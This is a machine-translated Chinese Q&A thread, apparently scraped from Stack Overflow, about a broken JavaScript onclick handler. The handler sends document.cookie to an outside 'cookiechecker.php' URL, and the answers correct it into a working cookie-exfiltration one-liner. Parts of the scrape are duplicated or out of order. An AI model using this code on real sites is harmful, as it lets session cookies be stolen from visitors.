+;登录javascript

+;登录javascript,javascript,hyperlink,Javascript,Hyperlink,所以,我做JavaScript已经有一段时间了,偶然发现了一个问题。当我尝试使用编码为JavaScript的超链接时,加号消失了,JavaScript代码的超链接不起作用。那么,JavaScript中有加号的替代符号吗?我是否可以使用另一个与加号功能相同的符号 这是我的密码: onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);" %2b是“+”的十六进制值。(您以前

所以,我做JavaScript已经有一段时间了,偶然发现了一个问题。当我尝试使用编码为JavaScript的超链接时,加号消失了,JavaScript代码的超链接不起作用。那么,JavaScript中有加号的替代符号吗?我是否可以使用另一个与加号功能相同的符号

这是我的密码:

onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
%2b是“+”的十六进制值。(您以前可能在地址栏中看到过%20。想法相同)

请将“+”替换为其十六进制等价物“%2B”。

尝试以下操作(删除分号):


其中有一个分号需要删除:

onclick="document.location='site.com/cookiechecker.php?cookie='+escape(document.cookie);" 
这个分号导致JavaScript将表达式视为两个独立的语句,而不是一个。这相当于:

document.location = 'site.com/cookiechecker.php?cookie=';
escape(document.cookie);
您的代码如下:

onclick="document.location='site.com/cookiechecker.php?cookie='; +escape(document.cookie);"
这意味着您的事件处理程序如下(扩展形式):

这不是你想要的。删除分隔这两条语句的分号

此外,您几乎可以肯定需要
http://
文档的开头。location

最终值:

onclick="document.location='http://site.com/cookiechecker.php?cookie='+escape(document.cookie);"

你能发布你的代码吗?不知道你在说什么…你必须把你的脚本放到
href
,或者你可以用
onclick运行它,或者更好的是,把你的脚本放到一个函数中并调用这个函数?onclick=“document.location=”+escape(document.cookie);”Blanch。请不要做那样的事。我想不出任何理由发送这样的cookies,除了这表明您正在处理非HttpOnly cookies(一种安全隐患)之外。接受答案是表示感谢的最佳方式,不是吗?。。。什么?这与您发布的代码无关,也无法解决它。@思考:那么,您的代码实际上是什么?如果将
+
(JavaScript操作符)替换为
%2B
(JavaScript语法错误),那么您发布的内容就会被破坏。我没有得到错误,这才是最重要的。不要粗鲁,看看我的问题。我想要的只是一个加号的替代符号,而不是一些翻拍的code@Ponder:如果其他用户将来再次访问此帖子,他们会对您的代码感到困惑,因为您额外的
,您的代码目前不起作用字符。你为什么不编辑这个问题,向那些花时间帮助你但被误导的人道歉呢?
document.location = 'site.com/cookiechecker.php?cookie=';
+escape(document.cookie);
onclick="document.location='http://site.com/cookiechecker.php?cookie='+escape(document.cookie);"